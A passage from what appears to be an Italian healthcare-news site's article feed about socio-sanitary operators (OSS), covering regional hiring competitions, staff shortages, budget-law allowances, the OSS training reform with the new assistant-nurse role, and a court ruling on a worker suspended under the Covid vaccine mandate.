illecita dei farmaci. --- > La Toscana proroga la graduatoria 2022 degli OSS: approvata all’unanimità una legge che tutela i lavoratori idonei in attesa del concorso Estar. - Published: 2025-04-14 - Modified: 2025-04-14 - URL: https://ossinreparto.it/news/2025/04/14/prorogata-graduatoria-oss-toscana/ - Categorie: Attualità - Tag: Lavorare come OSS La Regione Toscana proroga la graduatoria 2022 degli OSS, garantendo continuità occupazionale in attesa del nuovo concorso Estar. La legge è stata approvata all’unanimità dal consiglio regionale. Prorogata la graduatoria 2022 degli operatori socio-sanitari (OSS): il consiglio regionale della Toscana approva all’unanimità la nuova legge, in attesa della pubblicazione di una nuova graduatoria legata al concorso unico bandito da Estar. La decisione rappresenta una svolta significativa per centinaia di lavoratori idonei, in bilico tra l’incertezza occupazionale e la speranza di un’assunzione stabile. La proposta, promossa dai consiglieri Diego Petrucci (Fratelli d’Italia) e Marco Stella (Forza Italia), è stata emendata in commissione dal Partito Democratico e illustrata in aula dal presidente della commissione Affari istituzionali Giacomo Bugliani. Il provvedimento estende la validità della graduatoria fino all’entrata in vigore della nuova, con un limite massimo di un anno. “La proroga è una risposta concreta alla cronica carenza di personale nelle strutture sanitarie, ha spiegato Bugliani, e consente di evitare soluzioni precarie come i contratti a chiamata o l’intermediazione tramite agenzie”. Soddisfatto Diego Petrucci: “Lavoro da anni per questo risultato. Oggi abbiamo dato un segnale chiaro e inequivocabile a tutti gli Oss che aspettavano giustizia dal concorso del 2021”. Anche Marco Stella ha sottolineato il valore della misura: “È una vittoria di buon senso, che tutela sia gli idonei sia coloro che non hanno partecipato al bando del 2021 per mancanza di requisiti”. Dal Partito Democratico, i consiglieri Vincenzo Ceccarelli ed Enrico Sostegni hanno annunciato l’intenzione di estendere, se tecnicamente possibile, la proroga anche ad altre figure sanitarie, attraverso una futura legge di manutenzione attualmente in preparazione. Ora la palla passa all’assessorato alla sanità e alle Aziende Sanitarie, chiamate a definire un piano chiaro per le assunzioni, utilizzando le graduatorie prorogate e limitando il ricorso a forme contrattuali atipiche. --- > Da maggio 2025 nei pronto soccorso della Liguria arriva “Chiedi a Me”: 80 facilitatori offriranno supporto emotivo e informazioni ai familiari dei pazienti. - Published: 2025-04-14 - Modified: 2025-04-14 - URL: https://ossinreparto.it/news/2025/04/14/liguria-pronto-soccorso-chiedi-a-me/ - Categorie: Attualità In Liguria nasce “Chiedi a Me”: 80 facilitatori formati da psicologi affiancheranno i pronto soccorso per accogliere e sostenere i familiari dei pazienti, migliorando comunicazione e umanizzazione. A partire dalla fine di maggio di quest'anno, i pronto soccorso della Liguria introdurranno ufficialmente il nuovo servizio “Chiedi a Me”, pensato per offrire accoglienza, informazioni e sostegno emotivo ai familiari dei pazienti in attesa. Un'iniziativa che punta a migliorare l'esperienza all’interno delle strutture di emergenza, grazie all’impiego di 80 facilitatori appositamente formati. Riconoscibili da una pettorina dedicata, i facilitatori saranno selezionati tra personale sanitario, operatori socio-sanitari, hostess, steward e volontari. A prepararli sarà un team di psicologi del territorio, con l’obiettivo di fornire loro le competenze necessarie per comunicare con empatia e offrire risposte efficaci ai bisogni informativi e relazionali dei familiari. “Si tratta di un servizio che unisce empatia e organizzazione, ha spiegato l’Assessore regionale alla Sanità, per aiutare chi attende notizie di un proprio caro, ridurre lo stress e migliorare la comunicazione all’interno dei reparti di emergenza”. Oltre a sostenere i pazienti e i loro familiari, il progetto “Chiedi a Me” mira anche a snellire il carico comunicativo sul personale sanitario, spesso oberato da richieste pressanti. L’obiettivo è prevenire tensioni, disagi e possibili episodi di aggressività verbale o fisica, offrendo un’interfaccia umana tra l’ospedale e chi attende risposte. Intanto, continua il successo del servizio “PS Tracker”, attivo dal novembre scorso all’Ospedale San Martino di Genova. In soli cinque mesi ha registrato oltre 40. 000 consultazioni, permettendo ai familiari dei pazienti di ricevere aggiornamenti in tempo reale direttamente sui propri dispositivi, ovunque si trovino nel mondo. “È un sistema automatizzato che non pesa sul lavoro del personale sanitario, ha evidenziato Enrico Castanini, DG di Liguria Digitale, ed è stato accolto con grande entusiasmo sia dagli utenti che dagli infermieri”. Con “Chiedi a Me” e “PS Tracker”, la sanità ligure si muove verso un modello più umano, partecipato e digitale, che punta al benessere relazionale oltre che clinico nei momenti di maggiore fragilità. --- > Grave carenza di operatori socio-sanitari nella ASL Toscana Sud Est: solo 600 OSS attivi su 1.300 previsti. Infermieri costretti a mansioni improprie. - Published: 2025-04-13 - Modified: 2025-04-13 - URL: https://ossinreparto.it/news/2025/04/13/carenza-oss-toscana-sud-est/ - Categorie: Attualità - Tag: Lavorare come OSS L'emergenza OSS in Toscana sud-est è sotto pressione. A lanciare l’allarme sono le segreterie territoriali del sindacato NurSind di Arezzo, Siena e Grosseto, che denunciano una situazione critica e ormai insostenibile per il personale sanitario. Secondo i dati diffusi dal sindacato, la dotazione organica prevista è di circa 1. 300 OSS, necessari per garantire un’assistenza adeguata agli oltre 3. 800 infermieri in servizio. Tuttavia, gli operatori effettivamente attivi sono solo 900, di cui circa un terzo con limitazioni che ne riducono fortemente l’operatività. Il numero reale degli OSS pienamente disponibili scende così a 600, meno della metà del fabbisogno minimo. Il dato allarma non solo per l’impatto diretto sull’efficienza del sistema, ma anche per le ripercussioni sul personale infermieristico, costretto sempre più spesso a svolgere mansioni non previste dal proprio ruolo. Un esempio emblematico arriva dall’ospedale del Casentino, dove – soprattutto nei giorni festivi – gli infermieri si trovano a servire i pasti e rifare i letti per sopperire alla mancanza di OSS. Situazioni simili si registrano anche nel Valdarno, nel Grossetano e nei reparti ad alta intensità di cura, come le terapie intensive cardiologiche e pneumologiche. I rappresentanti sindacali Claudio Cullurà, Danilo Malatesta e Valentina Galesi criticano l’immobilismo dell’azienda sanitaria, che non solo non ha attivato nuove assunzioni, ma ha completamente ignorato la figura dell’OSS nel piano dei fabbisogni, nonostante la proroga della graduatoria regionale. “È inaccettabile – sottolineano – che si continui a trascurare un problema strutturale, con effetti devastanti sulla qualità dell’assistenza e sul benessere dei professionisti. ” Il NurSind chiede interventi urgenti, a partire dal reclutamento immediato di nuovo personale OSS per restituire efficienza, sicurezza e dignità al servizio sanitario regionale. --- > La Legge di Bilancio 2025 introduce novità per il sistema sanitario, puntando su accessibilità e benessere. - Published: 2025-04-01 - Modified: 2025-04-01 - URL: https://ossinreparto.it/news/2025/04/01/legge-bilancio-2025-ospedali/ - Categorie: Attualità La Legge di Bilancio 2025 introduce novità per il sistema sanitario, puntando su accessibilità e benessere. La Legge di Bilancio 2025 introduce diverse misure significative per il settore sanitario italiano, mirate a potenziare il Servizio Sanitario Nazionale (SSN) e a migliorare l'accesso e la qualità delle cure, con un focus specifico sul miglioramento dei Livelli Essenziali di Assistenza (Lea). Grazie ai commi 360-364 dell'articolo 1, viene rafforzato il concetto di un'assistenza sanitaria più accessibile e umana, con interventi che puntano non solo all'efficienza del servizio, ma anche al benessere psicologico dei pazienti. Tra le novità più rilevanti spicca il progetto "Spezza l’attesa", promosso dall’Azienda Ospedaliero-Universitaria di Modena, che introduce i facilitatori in Pronto Soccorso per ridurre l'angoscia e il disagio dei pazienti durante le attese. All’Asl di Chiavari, invece, è stato creato uno "spazio etico", un'area dedicata al dialogo tra pazienti e operatori sanitari su tematiche etiche e umane legate alla cura. Un’attenzione particolare è rivolta ai bambini ricoverati, grazie al progetto "Il mondo fantastico: a spasso con Tommy", che trasforma gli ambienti ospedalieri in spazi colorati e interattivi per rendere la degenza meno traumatica. A Baggiovara, invece, nasce il primo ospedale italiano "Dementia Friendly", con spazi pensati per migliorare la qualità di vita dei pazienti affetti da demenza, riducendone il disorientamento. Un’altra innovazione riguarda la riabilitazione delle donne operate di tumore al seno, che trovano nel semplice gesto di impastare un aiuto concreto per recuperare la mobilità e un supporto psicologico fondamentale. Queste iniziative saranno al centro di un convegno nazionale in programma il 7 aprile a Siena, dove esperti e professionisti del settore discuteranno delle migliori pratiche da adottare a livello nazionale. L'obiettivo è promuovere un’assistenza sanitaria sempre più vicina ai bisogni reali dei pazienti, garantendo un servizio che unisca efficacia e umanità. In questo contesto, Maria Rosaria Campitiello, Capo del Dipartimento Prevenzione, Ricerca ed Emergenze Sanitarie del Ministero della Salute, ha sottolineato l'importanza di queste iniziative. In un'intervista, ha evidenziato come l'adozione di buone pratiche e l'attenzione al benessere psicologico dei pazienti siano fondamentali per migliorare l'efficacia del sistema sanitario nazionale. Campitiello ha inoltre ribadito l'impegno del Ministero nel sostenere progetti innovativi che pongano al centro la persona, promuovendo un approccio più umano e accessibile alle cure. --- > Case di riposo: denuncia sulle carenze di personale e assistenza. Priorità al profitto? Servono cambiamenti per dignità e cura degli anziani. - Published: 2025-01-07 - Modified: 2025-01-07 - URL: https://ossinreparto.it/news/2025/01/07/case-di-riposo-denuncia-maiolo/ - Categorie: Lavoro Case di riposo: denuncia sulle carenze di personale e assistenza. Priorità al profitto? Servono cambiamenti per dignità e cura degli anziani. Le case di riposo dovrebbero rappresentare spazi di tranquillità e benessere per gli anziani, dove la dignità e le esigenze degli ospiti siano al centro dell'attenzione. Tuttavia, la realtà di molte strutture private appare ben diversa: in molti casi, queste strutture sembrano più catene di montaggio, dove la qualità dell’assistenza è subordinata a logiche di risparmio economico. A denunciare questa situazione è Matteo Lucio Maiolo, operatore socio-sanitario e fondatore di Oss in Azione, che evidenzia come il personale in molte case di riposo sia costantemente insufficiente rispetto al numero di pazienti: “Ci troviamo costretti a lavorare in modo frenetico per cercare di coprire tutte le necessità, ma questo riduce drasticamente la qualità dell'assistenza. E nonostante l'aumento del carico di lavoro, le retribuzioni rimangono inadeguate” spiega Maiolo. Secondo l'operatore socio-sanitario, il problema è radicato in una visione distorta che la politica ha degli anziani, considerati più come una spesa che come una risorsa da tutelare: “Gli anziani non sono visti come una priorità, ma come un onere. La mancanza di attenzione verso le loro esigenze è una diretta conseguenza di questa mentalità, che porta le strutture a tagliare i costi, sfruttando al massimo il personale e offrendo un’assistenza che spesso rasenta la dignità minima”. Perfortuna, non tutte le strutture seguono questa logica. Esistono infatti case di riposo che si distinguono per la qualità dell'assistenza, luoghi in cui operatori e infermieri possono lavorare con il giusto tempo e le risorse necessarie per garantire cure adeguate. Queste realtà, dove il vero valore non è 'il denaro', purtroppo, restano un'eccezione. In un contesto del genere, operatori socio-sanitari e infermieri sono costretti a operare in condizioni di elevato stress, cercando di fare il meglio possibile per i loro pazienti, spesso fallendo visto la delicatissima comunicazione che c'è tra operatore-paziente, nonostante le difficoltà. Per Maiolo, tuttavia, è fondamentale avviare un cambiamento: “È necessario un adeguamento salariale equo su scala nazionale, che vada di pari passo con l'incremento del personale. Solo così sarà possibile garantire un'assistenza umana e sostenibile”. Il fondatore di Oss in Azione sottolinea infine che il concetto di casa di riposo deve evolversi: “Le strutture non devono essere ambienti di stress per gli operatori o per gli anziani, ma luoghi in cui la cura e il rispetto per gli ospiti siano sempre al primo posto”. La denuncia di Maiolo si inserisce in un quadro più ampio, che vede numerose voci del settore sociosanitario chiedere un cambio di rotta. Fino a quando la politica non riconoscerà pienamente l'importanza dell'assistenza agli anziani, molte case di riposo rischiano di continuare a sacrificare la qualità e la dignità dei loro ospiti. --- > Il percorso formativo per diventare assistente infermiere dura 5 anni, con un triennio finale di formazione specialistica e tirocinio pratico. - Published: 2024-11-23 - Modified: 2024-11-23 - URL: https://ossinreparto.it/news/2024/11/23/assistente-infermiere-formazione-5-anni/ - Categorie: Lavoro - Tag: Assistente Infermiere Il percorso per diventare assistente infermiere dura 5 anni, con un triennio finale di formazione specialistica e tirocinio pratico. In un momento di crescente difficoltà per il sistema sanitario italiano, caratterizzato da una persistente carenza di personale infermieristico, arriva la proposta di legge che introduce la figura dell'assistente infermiere. Questa nuova professione, pensata come figura intermedia tra l'operatore socio-sanitario (OSS) e l'infermiere laureato, ha l’obiettivo di alleggerire il carico di lavoro sugli infermieri, migliorare la qualità dell’assistenza ai pazienti e rispondere più efficacemente alle esigenze del sistema sanitario. Con un percorso formativo dedicato e il riconoscimento di crediti ECM, l'assistente infermiere rappresenta una risorsa chiave per affrontare le sfide attuali del settore. Il percorso di formazione sale a 5 anni È stata recentemente presentata una proposta di legge che introduce la figura dell'assistente infermiere, una professione intermedia tra l'operatore socio-sanitario (OSS) e l'infermiere laureato. Il disegno di legge, a prima firma del senatore Massimo Garavaglia (Lega), mira a ridistribuire il carico di lavoro nelle strutture sanitarie, migliorando la qualità dell'assistenza ai pazienti e alleviando la pressione sugli infermieri, che da anni soffrono di una grave carenza di personale. Secondo i dati, in Italia si registrano 6,3 infermieri ogni 1. 000 abitanti, ben al di sotto della media europea di 8,3. Ogni anno, il sistema sanitario nazionale è costretto a fronteggiare 20. 000 posti vacanti e un crescente flusso di infermieri italiani che scelgono di lavorare all’estero. Questa situazione ha portato alla proposta di una nuova figura professionale per supportare il sistema. Il percorso formativo per diventare assistente infermiere sarà di 5 anni e prevederà un triennio finale di formazione specialistica e tirocinio pratico. I corsi saranno accessibili a chi ha il diploma di scuola secondaria di primo grado, ma anche a chi ha completato il biennio della scuola secondaria di secondo grado o possiede un attestato OSS. Al termine del corso, gli studenti otterranno un diploma di maturità che consentirà loro non solo di entrare nel mondo del lavoro, ma anche di proseguire gli studi universitari. Durante il percorso, gli assistenti infermieri acquisiranno anche crediti ECM grazie alle attività educative e di tutoraggio previste. Le Regioni avranno un ruolo fondamentale nell'istituzione delle scuole professionali, garantendo una formazione diffusa su tutto il territorio nazionale. L’assistente infermiere opererà in vari ambiti, tra cui ospedali, strutture domiciliari e territoriali, supportando gli infermieri nelle attività di assistenza infermieristica primaria, prevenzione e educazione alla salute. Attendiamo ora l'esito dell'assegnazione della proposta di legge alla Commissione Affari Sociali del Senato per maggiori dettagli e tempistiche sull’eventuale approvazione. --- > La Regione Campania lancia un concorso per Operatori Socio Sanitari per 1.274 assunzioni a tempo indeterminato. Posti suddivisi in due aree, con prove scritte e orali. - Published: 2024-11-08 - Modified: 2024-11-08 - URL: https://ossinreparto.it/news/2024/11/08/concorso-oss-regione-campania-2025/ - Categorie: Avvisi Pubblici, Concorsi, News Concorsi - Tag: Lavorare come OSS La Regione Campania lancia un concorso per 1.274 OSS a tempo indeterminato. Posti suddivisi in due aree, con prove scritte e orali. La Regione Campania ha ufficialmente lanciato il concorso per l'assunzione di 1. 274 Operatori Socio Sanitari (OSS) nelle aziende che fanno parte del Sistema Sanitario Regionale. I posti disponibili saranno coperti con contratti a tempo indeterminato. Il bando, approvato con la delibera 2060 del 7 novembre 2024, prevede due prove selettive, una scritta e una orale, che si terranno nel corso del 2025. I candidati avranno tempo 30 giorni per presentare la loro domanda, con una quota di partecipazione pari a 10 euro. Il concorso sarà gestito da due aziende capofila, una per ogni area territoriale, con l'Area 1 e l'Area 2 che coprono le diverse zone della Campania. L'Area 1 include le aziende sanitarie di Napoli e le strutture più grandi della regione, come l'Ospedale Cardarelli, l'A. O. U. Federico II e l'I. R. C. C. S. Pascale, e prevede 737 posti. L'Area 2, comprendente le ASL di Avellino, Benevento e Caserta, ha a disposizione 537 posti. Le aziende sanitarie coinvolte sono numerose, tra cui l'Asl Napoli 1 Centro, Asl Salerno, e altre importanti strutture ospedaliere. I requisiti per partecipare al concorso sono relativamente semplici: è sufficiente possedere il diploma di scuola media inferiore (licenza media) e l'attestato di qualifica di Operatore Socio-Sanitario. Se il titolo è stato conseguito all'estero, è necessario che venga riconosciuto come equivalente dall'Ufficio Scolastico Regionale. Inoltre, sono previsti benefici per chi ha lavorato nel settore socio-sanitario, con una quota di riserva del 50% dei posti destinata a personale con esperienza nelle cooperative sociali e in altre categorie specifiche. La domanda di partecipazione dovrà essere inviata esclusivamente tramite modalità telematica, utilizzando il sito web ufficiale del concorso. I candidati dovranno completare la procedura entro 30 giorni dalla pubblicazione sulla Gazzetta Ufficiale. Per quanto riguarda le prove di selezione, la prova scritta consisterà in una serie di quesiti a risposta multipla, riguardanti tematiche di legislazione sociale e sanitaria, assistenza alla persona, anatomia e fisiologia umana. La prova orale, invece, tratterà di temi come la legislazione socio-assistenziale, la sicurezza sul lavoro e l’etica professionale. Durante la prova orale sarà verificata anche la conoscenza della lingua inglese e dell'uso delle tecnologie informatiche. Il punteggio complessivo sarà suddiviso in 100 punti, di cui 40 per i titoli posseduti e 60 per le prove d'esame, con una soglia minima di 21 punti per ciascuna prova per superare la selezione. In un commento al bando, la Vicepresidente del Consiglio regionale, Valeria Ciarambino, insieme ai consiglieri regionali Pasquale Di Fenza e Diego Venanzoni, ha sottolineato l'importanza della riserva per i lavoratori delle cooperative sociali, una misura che riconosce il contributo dato da questi professionisti durante gli anni difficili del commissariamento sanitario e della pandemia. --- > Il Tribunale di Velletri risarcisce un’OSS sospesa per non aver rispettato l’obbligo vaccinale anti-Covid, senza prevedere il reintegro. - Published: 2024-11-08 - Modified: 2024-11-08 - URL: https://ossinreparto.it/news/2024/11/08/oss-covid-19-risarcimento/ - Categorie: Lavoro - Tag: Lavorare come OSS Il Tribunale di Velletri risarcisce un’OSS sospesa per non aver rispettato l’obbligo vaccinale anti-Covid, senza prevedere il reintegro. Una recente sentenza del Tribunale del lavoro di Velletri ha sollevato un tema delicato che potrebbe suscitare dibattito nel mondo sanitario e legale. Un’Operatrice Socio-Sanitaria (OSS), sospesa per non essersi vaccinata contro il Covid-19 come previsto dall’obbligo vaccinale, ha ottenuto un risarcimento per il periodo della sospensione, pur senza reintegro nel suo ruolo. Il giudice ha evidenziato che il vaccino era stato somministrato in modalità "off-label" — un uso non previsto nelle indicazioni specifiche — e ha anche rilevato che non fosse garantita la protezione contro la trasmissione del virus. Questo dettaglio è stato decisivo nella sentenza, con il giudice che ha fatto riferimento alla testimonianza di Janine Small, rappresentante di Pfizer, che al Parlamento Europeo aveva dichiarato che il vaccino non era stato testato per impedire la trasmissione. Sebbene la sentenza preveda un risarcimento economico, l’operatrice non sarà reintegrata poiché non ha impugnato la sospensione entro i termini stabiliti. Questa decisione apre uno spazio di riflessione sul modo in cui si applica l’obbligo vaccinale per i professionisti della sanità, e su quali conseguenze future potrebbero derivare per altri operatori sospesi. --- > Nella Legge di Bilancio 2025, aumento delle indennità per infermieri e OSS: fino a 285 milioni di euro per valorizzare le professioni sanitarie. - Published: 2024-10-24 - Modified: 2024-10-24 - URL: https://ossinreparto.it/news/2024/10/24/legge-bilancio-2025-oss-infermieri/ - Categorie: Lavoro - Tag: Lavorare come OSS Nella Legge di Bilancio 2025, aumento delle indennità per infermieri e OSS: fino a 285 milioni di euro per valorizzare le professioni sanitarie. Nella Legge di Bilancio 2025, il governo italiano ha introdotto un importante aumento delle indennità per gli infermieri e gli operatori sociosanitari (OSS). Questa misura prevede un incremento delle risorse destinate a queste categorie professionali, con un investimento iniziale di 35 milioni di euro per il 2025, che salirà a ben 285 milioni di euro a partire dal 2026. Un riconoscimento per le competenze infermieristiche Barbara Mangiacavalli, presidente della Federazione Nazionale degli Ordini delle Professioni Infermieristiche (FNOPI), ha commentato con soddisfazione questa decisione, definendola un “riconoscimento importante per le competenze e il ruolo degli infermieri nel Servizio Sanitario Nazionale”. Le nuove risorse saranno disponibili senza necessità di attendere il rinnovo contrattuale, contribuendo a valorizzare le attività svolte dagli infermieri. “Esprimiamo soddisfazione per questo risultato, frutto di un lungo lavoro di advocacy della Federazione”, ha dichiarato Mangiacavalli, sottolineando anche l'importanza dell’attenzione ricevuta dal ministro Schillaci. Si auspica che queste risorse possano essere integrate nel nuovo contratto collettivo nazionale per il triennio 2022-2024. Gli aumenti anche per le altre professioni sanitarie Oltre agli infermieri, anche le altre categorie di professionisti sanitari beneficeranno di un incremento delle indennità. La Legge prevede un aumento di 15 milioni di euro per il 2025, destinato a crescere fino a 150 milioni di euro annui dal 2026, per le professioni della riabilitazione, della prevenzione, tecnico-sanitarie, ostetriche e assistenti sociali. Questo incremento rappresenta un passo significativo per migliorare le condizioni lavorative dei professionisti della sanità. FNOPI ha da tempo sostenuto la necessità di riconoscere il valore degli infermieri e di altre figure sanitarie, e queste misure potrebbero contribuire ad affrontare la carenza di personale nel settore. Con l’entrata in vigore di queste misure, si apre un nuovo capitolo per la sanità italiana, promettendo un futuro più attrattivo per le professioni sanitarie. Sebbene la strada verso il riconoscimento completo delle competenze professionali sia ancora lunga, l’adozione di queste indennità rappresenta un segnale positivo per il settore e per il benessere dei pazienti. --- > Assunzioni OSS e infermieri in Puglia 2024-2025: previste 3.650 nuove unità nel SSR e aggiornamenti sulle tariffe per le prestazioni aggiuntive. - Published: 2024-10-17 - Modified: 2024-10-17 - URL: https://ossinreparto.it/news/2024/10/17/assunzioni-oss-infermieri-puglia/ - Categorie: Lavoro - Tag: Lavorare come OSS Assunzioni OSS e infermieri in Puglia 2024-2025: previste 3.650 nuove unità nel SSR e aggiornamenti sulle tariffe per le prestazioni aggiuntive. Si è tenuto un incontro chiave tra il vicepresidente della Regione Puglia, Raffaele Piemontese, e il direttore del Dipartimento Salute, Vito Montanaro, per fare il punto sulle assunzioni sanitarie e discutere le nuove tariffe per le prestazioni aggiuntive. Durante l’incontro, Piemontese ha spiegato che i piani di assunzione, approvati nell'ottobre 2023, sono già in fase avanzata, con circa l'85% delle assunzioni completate. Nei prossimi mesi, si prevedono l'ingresso di 430 nuovi infermieri e 300 OSS. Complessivamente, il piano 2024-2025 mira a portare circa 3. 650 nuove unità nel Servizio Sanitario Regionale (SSR). Per quanto riguarda le procedure concorsuali, il concorso per infermieri sarà gestito dalla ASL Bari, mentre quello per gli OSS sarà curato dagli Ospedali Riuniti di Foggia. Un aspetto innovativo è la possibilità, per i candidati, di scegliere la sede di lavoro in base alla propria posizione in graduatoria, senza la possibilità di indicare una preferenza specifica all'inizio. A partire dal 1° gennaio 2025, entreranno in vigore le nuove tariffe per le prestazioni aggiuntive. Gli operatori sanitari del comparto riceveranno 50 euro l’ora nei giorni feriali e 60 euro l’ora nei weekend e per i turni in pronto soccorso. Per la dirigenza, i compensi saranno rispettivamente di 80 euro nei giorni feriali e 100 euro l’ora nei fine settimana. Nonostante i progressi, i sindacati, tra cui Fials, hanno espresso preoccupazioni su diversi punti. Tra questi, la mancanza di risposte sulla stabilizzazione del personale precario e la mobilità volontaria. Inoltre, è stata avanzata la richiesta di estendere l’indennità di pronto soccorso agli operatori del 118 e di uniformare la detassazione delle prestazioni aggiuntive. L'incontro ha lasciato aperti alcuni temi critici che saranno discussi ulteriormente nelle prossime settimane. --- > Nuova riforma per OSS: aggiornamento delle competenze, corsi da 1000 ore e formazione continua. Standard uniformi e più responsabilità. - Published: 2024-10-05 - Modified: 2024-10-24 - URL: https://ossinreparto.it/news/2024/10/05/operatore-socio-sanitario-riforma/ - Categorie: Diventare OSS, Lavoro - Tag: Assistente Infermiere, Lavorare come OSS Nuova riforma per OSS: aggiornamento delle competenze, corsi da 1000 ore e formazione continua. Standard uniformi e più responsabilità. Negli ultimi anni, la crescente carenza di personale infermieristico ha spinto il sistema sanitario a ridefinire il ruolo degli Operatori Socio Sanitari (OSS), figure sempre più centrali nell’assistenza quotidiana. In risposta a queste esigenze, arriva una riforma importante per gli OSS, con l'obiettivo di uniformare e migliorare il loro profilo professionale. La Conferenza Stato-Regioni ha discusso su due decreti chiave, frutto del confronto tra Ministero della Salute e Regioni, mirato a standardizzare il percorso formativo e le competenze di questa figura. La revisione del profilo dell'OSS Il nuovo decreto si concentra sull'aggiornamento delle competenze e del percorso formativo degli Operatori Socio Sanitari. Si tratta di un provvedimento necessario per rispondere alle crescenti richieste del settore sanitario e socio-assistenziale. La riforma stabilisce una serie di standard professionali, competenze e abilità minime che ogni OSS dovrà possedere per garantire assistenza di qualità in ambiti diversi, come strutture ospedaliere, residenziali, penitenziarie, scuole e a domicilio. Le nuove competenze dell'operatore socio sanitario Gli OSS continueranno a collaborare strettamente con il personale sanitario e sociale, ma la riforma punta ad ampliare il loro campo d'azione, definendo in modo più chiaro i loro ambiti di intervento. Le principali competenze richieste saranno: Assistere la persona nel soddisfacimento dei bisogni di base e nelle attività quotidiane. Garantire l'igiene e il comfort dell'ambiente di vita e di cura. Fornire assistenza socio-sanitaria integrata. Lavorare in team con altri professionisti del settore. Questi aspetti sono volti a garantire una maggiore autonomia e responsabilità dell’OSS, pur mantenendo una costante supervisione da parte del personale sanitario. Il nuovo percorso formativo per gli OSS Uno degli elementi centrali della riforma riguarda il percorso formativo degli OSS, che verrà standardizzato a livello nazionale. Il corso di formazione dovrà avere una durata minima di 1. 000 ore, distribuite su un periodo compreso tra 9 e 18 mesi, e sarà suddiviso in due moduli: uno sulle competenze di base e l’altro su quelle professionalizzanti. L’esame finale sarà accessibile solo a chi avrà superato con successo tutte le prove didattiche e il tirocinio pratico. Le Regioni e le Province autonome avranno il compito di gestire l'organizzazione dei corsi, la programmazione del fabbisogno regionale e la definizione delle prove di ammissione, sempre nel rispetto delle linee guida ministeriali. Formazione continua obbligatoria Oltre alla formazione iniziale, la riforma introduce l'obbligo per gli OSS di partecipare a eventi formativi di aggiornamento. Ogni OSS dovrà completare almeno un'ora di formazione per ogni mese lavorato nell’anno di riferimento, con la possibilità di recuperare la formazione mancata nel triennio successivo. Questo requisito mira a garantire che gli OSS restino costantemente aggiornati sulle nuove tecniche e normative del settore. Qualifica equipollente Per chi ha già conseguito la qualifica di OSS secondo l’Accordo Stato-Regioni del 2001, il nuovo decreto prevede l’equipollenza della qualifica professionale. Questo significa che gli OSS già qualificati non dovranno ripetere il percorso formativo, ma potranno comunque beneficiare delle opportunità di aggiornamento previste dalla riforma. Uno sguardo al futuro e l'introduzione dell'Assistente Infermiere Sebbene la riforma si concentri principalmente sulla figura dell'OSS, si... --- > Nuovi decreti ridefiniscono il ruolo OSS e introducono l'Assistente Infermiere per migliorare l'assistenza sanitaria in Italia. - Published: 2024-10-03 - Modified: 2024-10-03 - URL: https://ossinreparto.it/news/2024/10/03/riforma-profilo-oss-assistente-infermiere/ - Categorie: Diventare OSS - Tag: Assistente Infermiere, Lavorare come OSS Nuovi decreti ridefiniscono il ruolo OSS e introducono l'Assistente Infermiere per migliorare l'assistenza sanitaria in Italia. Sono in fase di approvazione i due decreti ministeriali che ridefiniscono il ruolo dell'Operatore Socio-Sanitario (OSS) e introducono la nuova figura dell'Assistente Infermiere. Dopo il confronto tra il Ministero della Salute e le Regioni, le normative saranno discusse oggi nella Conferenza Stato-Regioni. La revisione del profilo OSS Il primo decreto interviene sul ruolo dell’OSS, delineando nuovi standard professionali e aggiornando le competenze essenziali richieste. L'OSS è chiamato a soddisfare i bisogni primari delle persone assistite, contribuendo al loro benessere e autonomia in contesti sanitari, socio-sanitari e sociali. Le principali aree di intervento includono: Supportare la persona nelle attività quotidiane e nei bisogni di base. Garantire igiene, sicurezza e comfort degli ambienti di cura. Fornire assistenza sia sanitaria che socio-assistenziale. Collaborare con altri operatori in un contesto di lavoro di squadra. Viene inoltre rivista la formazione per ottenere la qualifica OSS, con corsi della durata minima di 1. 000 ore distribuite tra 9 e 18 mesi. I percorsi formativi saranno suddivisi in due moduli: uno sulle competenze di base e l'altro su quelle professionalizzanti. L'esame finale sarà riservato a coloro che avranno superato tutte le prove e il tirocinio. Gli OSS dovranno anche aggiornarsi periodicamente: è previsto un obbligo di formazione continua, per almeno un’ora di corso per ogni mese di lavoro nell'anno, con la possibilità di completare il ciclo formativo nei tre anni successivi. Come diventare assistente infermiere La grande novità riguarda l’introduzione della figura dell’Assistente Infermiere, un OSS che, dopo un ulteriore percorso formativo, acquisisce competenze specifiche per collaborare a stretto contatto con gli infermieri. Questa figura è destinata a entrare nei team assistenziali per svolgere attività sanitarie più avanzate, affiancando l’infermiere e contribuendo anche alla gestione e organizzazione del lavoro. Le sue competenze spaziano dall’assistenza diretta al paziente alla gestione operativa, e il suo lavoro sarà sempre svolto sotto la supervisione dell'infermiere. Sarà inoltre responsabile della correttezza delle procedure eseguite. Per diventare Assistente Infermiere è necessaria una qualifica di OSS, un diploma di scuola superiore o equivalente e almeno 24 mesi di esperienza nel ruolo di OSS. Il corso di formazione specifico avrà una durata minima di 500 ore, distribuite in un periodo tra 6 e 12 mesi. Anche gli Assistenti Infermieri dovranno mantenersi aggiornati attraverso una formazione continua di almeno un’ora per ogni mese di lavoro, con la possibilità di completare il ciclo nei tre anni successivi al conseguimento della qualifica. La gestione regionale Per entrambe le figure, OSS e Assistente Infermiere, saranno le Regioni e le Province autonome a definire il fabbisogno formativo e a organizzare i corsi, informando le organizzazioni sindacali rappresentative. Le Regioni saranno anche responsabili delle prove di ammissione ai corsi e della loro gestione. Le Regioni e le Province autonome avranno quindi un ruolo essenziale nella programmazione dei corsi di formazione e nel determinare il fabbisogno professionale a livello locale. Questo permetterà una maggiore flessibilità nell’adattare l’offerta formativa alle esigenze del territorio, garantendo che il numero di operatori socio-sanitari e assistenti infermieri risponda effettivamente alle necessità delle strutture sanitarie e assistenziali regionali.... --- > La Regione Campania ha avviato un concorso unico per OSS a tempo indeterminato, bloccando altri bandi. Due aree territoriali coinvolte. - Published: 2024-10-02 - Modified: 2024-10-02 - URL: https://ossinreparto.it/news/2024/10/02/campania-concorso-unico-oss/ - Categorie: Avvisi Pubblici, Concorsi, News Concorsi - Tag: Lavorare come OSS La Regione Campania ha avviato un concorso unico per OSS a tempo indeterminato, bloccando altri bandi. Due aree territoriali coinvolte. La Regione Campania ha autorizzato l'avvio di un concorso unico regionale per l'assunzione di operatori socio-sanitari (oss) a tempo indeterminato, basato su titoli ed esami. Contestualmente, sono stati sospesi tutti gli altri bandi per lo stesso profilo professionale, ad eccezione di quelli in cui sia già stata svolta almeno una prova concorsuale. Questo blocco include anche il concorso dell’Asl Salerno, pubblicato il 21 settembre, per il reclutamento di 200 oss. Il nuovo concorso è suddiviso in due aree territoriali. Per l'Area 1, l'Asl Napoli 1 Centro è stata designata come ente capofila e coordinerà il concorso per diverse strutture tra 